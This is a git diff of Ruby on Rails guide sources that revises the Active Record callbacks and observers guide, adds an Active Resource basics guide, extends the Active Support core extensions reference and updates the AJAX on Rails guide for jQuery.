-Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option.
+As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option.
-h4. Using +:if+ and +:unless+ with a Symbol
+h4. Using +:if+ and +:unless+ with a +Symbol+
-You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the method returns false; when using the +:unless+ option, the callback won't be executed if the method returns true. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check if the callback should be executed.
+You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.
<ruby>
class Order < ActiveRecord::Base
@@ -1063,7 +1100,7 @@ end
h4. Using +:if+ and +:unless+ with a String
-You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
+You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:
<ruby>
class Order < ActiveRecord::Base
@@ -1071,9 +1108,9 @@ class Order < ActiveRecord::Base
end
</ruby>
-h4. Using +:if+ and +:unless+ with a Proc
+h4. Using +:if+ and +:unless+ with a +Proc+
-Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners.
+Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners:
<ruby>
class Order < ActiveRecord::Base
@@ -1084,7 +1121,7 @@ end
h4. Multiple Conditions for Callbacks
-When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration.
+When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration:
<ruby>
class Comment < ActiveRecord::Base
@@ -1097,18 +1134,19 @@ h3. Callback Classes
Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
-Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model.
+Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model:
<ruby>
class PictureFileCallbacks
def after_destroy(picture_file)
- File.delete(picture_file.filepath)
- if File.exists?(picture_file.filepath)
+ if File.exists?(picture_file.filepath)
+ File.delete(picture_file.filepath)
+ end
end
end
</ruby>
-When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way:
+When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:
<ruby>
class PictureFile < ActiveRecord::Base
@@ -1116,13 +1154,14 @@ class PictureFile < ActiveRecord::Base
end
</ruby>
-Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method.
+Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:
<ruby>
class PictureFileCallbacks
def self.after_destroy(picture_file)
- File.delete(picture_file.filepath)
- if File.exists?(picture_file.filepath)
+ if File.exists?(picture_file.filepath)
+ File.delete(picture_file.filepath)
+ end
end
end
</ruby>
@@ -1139,16 +1178,25 @@ You can declare as many callbacks as you want inside your callback classes.
h3. Observers
-Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.
+Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality without changing the code of the model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.
h4. Creating Observers
-For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality.
+For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality.
<shell>
$ rails generate observer User
</shell>
+generates +app/models/user_observer.rb+ containing the observer class +UserObserver+:
+
+<ruby>
+class UserObserver < ActiveRecord::Observer
+end
+</ruby>
+
+You may now add methods to be called at the desired occasions:
+
<ruby>
class UserObserver < ActiveRecord::Observer
def after_create(model)
@@ -1164,7 +1212,7 @@ h4. Registering Observers
Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way:
<ruby>
-# Activate observers that should always be running
+# Activate observers that should always be running.
config.active_record.observers = :user_observer
</ruby>
@@ -1172,7 +1220,7 @@ As usual, settings in +config/environments+ take precedence over those in +confi
h4. Sharing Observers
-By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and so it's possible to manually specify the models that our observer should observe.
+By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe:
<ruby>
class MailerObserver < ActiveRecord::Observer
@@ -1184,10 +1232,10 @@ class MailerObserver < ActiveRecord::Observer
end
</ruby>
-In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect.
+In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect:
<ruby>
-# Activate observers that should always be running
+# Activate observers that should always be running.
config.active_record.observers = :mailer_observer
</ruby>
@@ -1195,7 +1243,7 @@ h3. Transaction Callbacks
There are two additional callbacks that are triggered by the completion of a database transaction: +after_commit+ and +after_rollback+. These callbacks are very similar to the +after_save+ callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.
-Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after a record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error.
+Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error.
<ruby>
PictureFile.transaction do
@@ -1224,14 +1272,3 @@ end
</ruby>
The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
-
-h3. Changelog
-
-* February 17, 2011: Add description of transaction callbacks.
-* July 20, 2010: Fixed typos and rephrased some paragraphs for clarity. "Jaime Iniesta":http://jaimeiniesta.com
-* May 24, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com
-* May 15, 2010: Validation Errors section updated by "Emili Parreño":http://www.eparreno.com
-* March 7, 2009: Callbacks revision by Trevor Turk
-* February 10, 2009: Observers revision by Trevor Turk
-* February 5, 2009: Initial revision by Trevor Turk
-* January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques
diff --git a/railties/guides/source/active_resource_basics.textile b/railties/guides/source/active_resource_basics.textile
new file mode 100644
index 0000000000..851aac1a3f
--- /dev/null
+++ b/railties/guides/source/active_resource_basics.textile
@@ -0,0 +1,120 @@
+h2. Active Resource Basics
+
+This guide should provide you with all you need to get started managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.
+
+endprologue.
+
+WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
+
+h3. Introduction
+
+Active Resource allows you to connect with RESTful web services. So, in Rails, Resource classes inherited from +ActiveResource::Base+ and live in +app/models+.
+
+h3. Configuration and Usage
+
+Putting Active Resource to use is very similar to Active Record. It's as simple as creating a model class
+that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it:
+
+<ruby>
+class Person < ActiveResource::Base
+ self.site = "http://api.people.com:3000/"
+end
+</ruby>
+
+Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes
+life cycle methods that operate against a persistent store.
+
+h3. Reading and Writing Data
+
+Active Resource make request over HTTP using a standard JSON format. It mirrors the RESTful routing built into Action Controller but will also work with any other REST service that properly implements the protocol.
+
+h4. Read
+
+Read requests use the GET method and expect the JSON form of whatever resource/resources is/are being requested.
+
+<ruby>
+# Find a person with id = 1
+person = Person.find(1)
+# Check if a person exists with id = 1
+Person.exists?(1) # => true
+# Get all resources of Person class
+Person.all
+</ruby>
+
+h4. Create
+
+Creating a new resource submits the JSON form of the resource as the body of the request with HTTP POST method and parse the response into Active Resource object.
+
+<ruby>
+person = Person.create(:name => 'Vishnu')
+person.id # => 1
+</ruby>
+
+h4. Update
+
+To update an existing resource, 'save' method is used. This method make a HTTP PUT request in JSON format.
+
+<ruby>
+person = Person.find(1)
+person.name = 'Atrai'
+person.save
+</ruby>
+
+h4. Delete
+
+'destroy' method makes a HTTP DELETE request for an existing resource in JSON format to delete that resource.
+
+<ruby>
+person = Person.find(1)
+person.destroy
+</ruby>
+
+h3. Validations
+
+Module to support validation and errors with Active Resource objects. The module overrides Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned in the web service response. The module also adds an errors collection that mimics the interface of the errors provided by ActiveRecord::Errors.
+
+h4. Validating client side resources by overriding validation methods in base class
+
+<ruby>
+class Person < ActiveResource::Base
+ self.site = "http://api.people.com:3000/"
+
+ protected
+
+ def validate
+ errors.add("last", "has invalid characters") unless last =~ /[a-zA-Z]*/
+ end
+end
+</ruby>
+
+h4. Validating client side resources
+
+Consider a Person resource on the server requiring both a first_name and a last_name with a validates_presence_of :first_name, :last_name declaration in the model:
+
+<ruby>
+person = Person.new(:first_name => "Jim", :last_name => "")
+person.save # => false (server returns an HTTP 422 status code and errors)
+person.valid? # => false
+person.errors.empty? # => false
+person.errors.count # => 1
+person.errors.full_messages # => ["Last name can't be empty"]
+person.errors[:last_name] # => ["can't be empty"]
+person.last_name = "Halpert"
+person.save # => true (and person is now saved to the remote service)
+</ruby>
+
+h4. Public instance methods
+
+ActiveResource::Validations have three public instance methods
+
+h5. errors()
+
+This will return errors object that holds all information about attribute error messages
+
+h5. save_with_validation(options=nil)
+
+This validates the resource with any local validations written in base class and then it will try to POST if there are no errors.
+
+h5. valid?
+
+Runs all the local validations and will return true if no errors.
diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile
index 781d3d08cd..7959a88c5b 100644
--- a/railties/guides/source/active_support_core_extensions.textile
+++ b/railties/guides/source/active_support_core_extensions.textile
@@ -296,7 +296,7 @@ This method escapes whatever is needed, both for the key and the value:
<ruby>
account.to_query('company[name]')
-# => "company%5Bname%5D=Johnson+%26+Johnson"
+# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson"
</ruby>
so its output is ready to be used in a query string.
@@ -440,14 +440,16 @@ NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+.
h4. +in?+
-The predicate +in?+ tests if an object is included in another object. An +ArgumentError+ exception will be raised if the argument passed does not respond to +include?+.
+The predicate +in?+ tests if an object is included in another object or a list of objects. An +ArgumentError+ exception will be raised if a single argument is passed and it does not respond to +include?+.
Examples of +in?+:
<ruby>
+1.in?(1,2) # => true
1.in?([1,2]) # => true
"lo".in?("hello") # => true
25.in?(30..50) # => false
+1.in?(1) # => ArgumentError
</ruby>
NOTE: Defined in +active_support/core_ext/object/inclusion.rb+.
@@ -571,7 +573,7 @@ NOTE: Defined in +active_support/core_ext/module/attr_accessor_with_default.rb+.
h5. Internal Attributes
-When you are defining an attribute in a class that is meant to be subclassed name collisions are a risk. That's remarkably important for libraries.
+When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.
Active Support defines the macros +attr_internal_reader+, +attr_internal_writer+, and +attr_internal_accessor+. They behave like their Ruby built-in +attr_*+ counterparts, except they name the underlying instance variable in a way that makes collisions less likely.
@@ -719,12 +721,70 @@ X.local_constants # => ["X2", "X1", "Y"], assumes Ruby 1.8
X::Y.local_constants # => ["X1", "Y1"], assumes Ruby 1.8
</ruby>
-The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ returns always strings.
+The names are returned as strings in Ruby 1.8, and as symbols in Ruby 1.9. The method +local_constant_names+ always returns strings.
-WARNING: This method is exact if running under Ruby 1.9. In previous versions it may miss some constants if their value in some ancestor stores the exact same object than in the receiver.
+WARNING: This method returns precise results in Ruby 1.9. In older versions of Ruby, however, it may miss some constants in case the same constant exists in the receiver module as well as in any of its ancestors and both constants point to the same object (objects are compared using +Object#object_id+).
NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
+h5. Qualified Constant Names
+
+The standard methods +const_defined?+, +const_get+ , and +const_set+ accept
+bare constant names. Active Support extends this API to be able to pass
+relative qualified constant names.
+
+The new methods are +qualified_const_defined?+, +qualified_const_get+, and
++qualified_const_set+. Their arguments are assumed to be qualified constant
+names relative to their receiver:
+
+<ruby>
+Object.qualified_const_defined?("Math::PI") # => true
+Object.qualified_const_get("Math::PI") # => 3.141592653589793
+Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034
+</ruby>
+
+Arguments may be bare constant names:
+
+<ruby>
+Math.qualified_const_get("E") # => 2.718281828459045
+</ruby>
+
+These methods are analogous to their builtin counterparts. In particular,
++qualified_constant_defined?+ accepts an optional second argument in 1.9
+to be able to say whether you want the predicate to look in the ancestors.
+This flag is taken into account for each constant in the expression while
+walking down the path.
+
+For example, given
+
+<ruby>
+module M
+ X = 1
+end
+
+module N
+ class C
+ include M
+ end
+end
+</ruby>
+
++qualified_const_defined?+ behaves this way:
+
+<ruby>
+N.qualified_const_defined?("C::X", false) # => false (1.9 only)
+N.qualified_const_defined?("C::X", true) # => true (1.9 only)
+N.qualified_const_defined?("C::X") # => false in 1.8, true in 1.9
+</ruby>
+
+As the last example implies, in 1.9 the second argument defaults to true,
+as in +const_defined?+.
+
+For coherence with the builtin methods only relative paths are accepted.
+Absolute qualified constant names like +::Math::PI+ raise +NameError+.
+
+NOTE: Defined in +active_support/core_ext/module/qualified_const.rb+.
+
h4. Synchronization
The +synchronize+ macro declares a method to be synchronized:
@@ -864,7 +924,9 @@ end
It is shorter, and the intention more obvious.
-The macro accepts several methods:
+The method must be public in the target.
+
+The +delegate+ macro accepts several methods:
<ruby>
delegate :name, :age, :address, :twitter, :to => :profile
@@ -1018,7 +1080,7 @@ class A
class_attribute :x, :instance_reader => false
end
-A.x = 1 # NoMethodError
+A.new.x = 1 # NoMethodError
</ruby>
For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+.
@@ -1424,6 +1486,14 @@ The method +pluralize+ returns the plural of its receiver:
As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in +config/initializers/inflections.rb+. That file is generated by the +rails+ command and has instructions in comments.
++pluralize+ can also take an optional +count+ parameter. If <tt>count == 1</tt> the singular form will be returned. For any other value of +count+ the plural form will be returned:
+
+<ruby>
+"dude".pluralize(0) # => "dudes"
+"dude".pluralize(1) # => "dude"
+"dude".pluralize(2) # => "dudes"
+</ruby>
+
Active Record uses this method to compute the default table name that corresponds to a model:
<ruby>
@@ -1587,7 +1657,7 @@ NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
h5. +demodulize+
-Given a string with a qualified constant reference expression, +demodulize+ returns the very constant name, that is, the rightmost part of it:
+Given a string with a qualified constant name, +demodulize+ returns the very constant name, that is, the rightmost part of it:
<ruby>
"Product".demodulize # => "Product"
@@ -1610,6 +1680,31 @@ end
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+h5. +deconstantize+
+
+Given a string with a qualified constant reference expression, +deconstantize+ removes the rightmost segment, generally leaving the name of the constant's container:
+
+<ruby>
+"Product".deconstantize # => ""
+"Backoffice::UsersController".deconstantize # => "Backoffice"
+"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
+</ruby>
+
+Active Support for example uses this method in +Module#qualified_const_set+:
+
+<ruby>
+def qualified_const_set(path, value)
+ QualifiedConstUtils.raise_if_absolute(path)
+
+ const_name = path.demodulize
+ mod_name = path.deconstantize
+ mod = mod_name.empty? ? self : qualified_const_get(mod_name)
+ mod.const_set(const_name, value)
+end
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
+
h5. +parameterize+
The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs.
@@ -1758,7 +1853,7 @@ h4(#string-conversions). Conversions
h5. +ord+
-Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encondings like ASCII or ISO-8859-1 in Ruby 1.8:
+Ruby 1.9 defines +ord+ to be the codepoint of the first character of the receiver. Active Support backports +ord+ for single-byte encodings like ASCII or ISO-8859-1 in Ruby 1.8:
<ruby>
"a".ord # => 97
@@ -1772,7 +1867,7 @@ In Ruby 1.8 +ord+ doesn't work in general in UTF8 strings, use the multibyte sup
"à".mb_chars.ord # => 224, in UTF8
</ruby>
-Note that the 224 is different in both examples. In ISO-8859-1 "à" is represented as a single byte, 224. Its single-character representattion in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à" the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus.
+Note that the 224 is different in both examples. In ISO-8859-1 "à" is represented as a single byte, 224. Its single-character representation in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call +ord+ on the UTF8 string "à" the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus.
INFO: +ord+ is equivalent to +getbyte(0)+.
@@ -2069,6 +2164,30 @@ shape_types = [Circle, Square, Triangle].sample(2)
NOTE: Defined in +active_support/core_ext/array/random_access.rb+.
+h4. Adding Elements
+
+h5. +prepend+
+
+This method is an alias of <tt>Array#unshift</tt>.
+
+<ruby>
+%w(a b c d).prepend('e') # => %w(e a b c d)
+[].prepend(10) # => [10]
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
+
+h5. +append+
+
+This method is an alias of <tt>Array#<<</tt>.
+
+<ruby>
+%w(a b c d).append('e') # => %w(a b c d e)
+[].append([1,2]) # => [[1,2]]
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+.
+
h4. Options Extraction
When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets:
@@ -2696,6 +2815,18 @@ hash # => {:a => 1}
NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
+h4. Extracting
+
+The method +extract!+ removes and returns the key/value pairs matching the given keys.
+
+<ruby>
+hash = {:a => 1, :b => 2}
+rest = hash.extract!(:a) # => {:a => 1}
+hash # => {:b => 2}
+</ruby>
+
+NOTE: Defined in +active_support/core_ext/hash/slice.rb+.
+
h4. Indifferent Access
The method +with_indifferent_access+ returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver:
@@ -2910,15 +3041,30 @@ Active Support defines these methods as well for Ruby 1.8.
h6. +beginning_of_week+, +end_of_week+
-The methods +beginning_of_week+ and +end_of_week+ return the dates for the beginning and end of week, assuming weeks start on Monday:
+The methods +beginning_of_week+ and +end_of_week+ return the dates for the
+beginning and end of the week, respectively. Weeks are assumed to start on
+Monday, but that can be changed passing an argument.
<ruby>
-d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
-d.beginning_of_week # => Mon, 03 May 2010
-d.end_of_week # => Sun, 09 May 2010
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.beginning_of_week # => Mon, 03 May 2010
+d.beginning_of_week(:sunday) # => Sun, 02 May 2010
+d.end_of_week # => Sun, 09 May 2010
+d.end_of_week(:sunday) # => Sat, 08 May 2010
</ruby>
-+beginning_of_week+ is aliased to +monday+ and +at_beginning_of_week+. +end_of_week+ is aliased to +sunday+ and +at_end_of_week+.
++beginning_of_week+ is aliased to +at_beginning_of_week+ and +end_of_week+ is aliased to +at_end_of_week+.
+
+h6. +monday+, +sunday+
+
+The methods +monday+ and +sunday+ return the dates for the beginning and
+end of the week, respectively. Weeks are assumed to start on Monday.
+
+<ruby>
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.monday # => Mon, 03 May 2010
+d.sunday # => Sun, 09 May 2010
+</ruby>
h6. +prev_week+, +next_week+
@@ -3143,8 +3289,10 @@ The class +DateTime+ is a subclass of +Date+ so by loading +active_support/core_
<ruby>
yesterday
tomorrow
-beginning_of_week (monday, at_beginning_of_week)
-end_on_week (at_end_of_week)
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
weeks_ago
prev_week
next_week
@@ -3317,8 +3465,10 @@ ago
since (in)
beginning_of_day (midnight, at_midnight, at_beginning_of_day)
end_of_day
-beginning_of_week (monday, at_beginning_of_week)
-end_on_week (at_end_of_week)
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
weeks_ago
prev_week
next_week
@@ -3347,7 +3497,7 @@ They are analogous. Please refer to their documentation above and take into acco
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
+# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST.
t = Time.local_time(2010, 3, 28, 1, 59, 59)
# => Sun Mar 28 01:59:59 +0100 2010
t.advance(:seconds => 1)
@@ -3370,7 +3520,7 @@ The method +all_day+ returns a range representing the whole day of the current t
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_day
-# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
+# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00
</ruby>
Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges.
@@ -3379,13 +3529,13 @@ Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_week
-# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
+# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00
now.all_month
-# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
+# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00
now.all_quarter
-# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
+# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00
now.all_year
-# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
+# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00
</ruby>
h4. Time Constructors
@@ -3480,8 +3630,8 @@ h4. +around_[level]+
Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+:
<ruby>
- logger = Logger.new("log/development.log")
- logger.around_info("before", "after") { |logger| logger.info("during") }
+logger = Logger.new("log/development.log")
+logger.around_info("before", "after") { |logger| logger.info("during") }
</ruby>
h4. +silence+
@@ -3561,8 +3711,3 @@ end
</ruby>
NOTE: Defined in +active_support/core_ext/load_error.rb+.
-
-h3. Changelog
-
-* August 10, 2010: Starts to take shape, added to the index.
-* April 18, 2009: Initial version by "Xavier Noria":credits.html#fxn
diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile
index 8b72e20c33..3a0ccfe9b2 100644
--- a/railties/guides/source/ajax_on_rails.textile
+++ b/railties/guides/source/ajax_on_rails.textile
@@ -3,7 +3,7 @@ h2. AJAX on Rails
This guide covers the built-in Ajax/JavaScript functionality of Rails (and more); it will enable you to create rich and dynamic AJAX applications with ease! We will cover the following topics:
* Quick introduction to AJAX and related technologies
-* Handling JavaScript the Rails way: Rails helpers, Prototype and script.aculo.us
+* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc
* Testing JavaScript functionality
endprologue.
@@ -24,20 +24,80 @@ h4. Standard HTML communication vs AJAX
How do 'standard' and AJAX requests differ, why does this matter for understanding AJAX on Rails (tie in for *_remote helpers, the next section)
+h3. Built-in Rails Helpers
+Rails 3.1 ships with "jQuery":http://jquery.com as the default JavaScript library. The Gemfile contains <tt>gem 'jquery-rails'</tt> which makes the jQuery files available to the application automatically. This can be accessed as:
+<ruby>
+javascript_include_tag :defaults
+</ruby>
+h4. Examples
+All the remote_method helpers has been removed. To make them working with AJAX, simply pass the <tt>:remote => true</tt> option to the original non-remote method.
-h3. Built-in Rails Helpers
+<ruby>
+button_to "New", :action => "new", :form_class => "new-thing"
+</ruby>
+
+will produce
-Rails' JavaScript framework of choice is "Prototype":http://www.prototypejs.org. Prototype is a generic-purpose JavaScript framework that aims to ease the development of dynamic web applications by offering DOM manipulation, AJAX and other JavaScript functionality ranging from utility functions to object oriented constructs. It is not specifically written for any language, so Rails provides a set of helpers to enable seamless integration of Prototype with your Rails views.
+<html>
+<form method="post" action="/controller/new" class="new-thing">
+ <div><input value="New" type="submit" /></div>
+</form>
+</html>
-To get access to these helpers, all you have to do is to include the prototype framework in your pages - typically in your master layout, application.html.erb - like so:
<ruby>
-javascript_include_tag 'prototype'
+button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" }
</ruby>
+will produce
+
+<html>
+<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
+ <div><input value="Create" type="submit" /></div>
+</form>
+</html>
+
+<ruby>
+button_to "Delete Image", { :action => "delete", :id => @image.id },
+ :confirm => "Are you sure?", :method => :delete
+</ruby>
+
+will produce
+
+<html>
+<form method="post" action="/images/delete/1" class="button_to">
+ <div>
+ <input type="hidden" name="_method" value="delete" />
+ <input data-confirm='Are you sure?' value="Delete" type="submit" />
+ </div>
+</form>
+</html>
+
+<ruby>
+button_to('Destroy', 'http://www.example.com', :confirm => 'Are you sure?',
+ :method => "delete", :remote => true, :disable_with => 'loading...')
+</ruby>
+
+will produce
+
+<html>
+<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
+ <div>
+ <input name='_method' value='delete' type='hidden' />
+ <input value='Destroy' type='submit' disable_with='loading...' data-confirm='Are you sure?' />
+ </div>
+</form>
+</html>
+
+You can also choose to use Prototype instead of jQuery and specify the option using +-j+ switch while generating the application.
+
+<shell>
+rails new app_name -j prototype
+</shell>
+
You are ready to add some AJAX love to your Rails app!
h4. The Quintessential AJAX Rails Helper: link_to_remote
@@ -59,7 +119,6 @@ link_to_remote "Add to cart",
</ruby>
* The very first parameter, a string, is the text of the link which appears on the page.
-
* The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff:
** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too.
** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation:
@@ -109,7 +168,7 @@ Note that if we wouldn't override the default behavior (POST), the above snippet
link_to_remote "Update record",
:url => record_url(record),
:method => :put,
- :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')"
+ :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')"
</ruby>
This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
@@ -129,6 +188,7 @@ link_to_remote "Add new item",
404 => "alert('Item not found!')"
</ruby>
Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action:
+
<ruby>
link_to_remote "Add new item",
:url => items_url,
@@ -138,6 +198,7 @@ link_to_remote "Add new item",
:success => "display_item_added(request)",
:failure => "display_error(request)"
</ruby>
+
** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+.
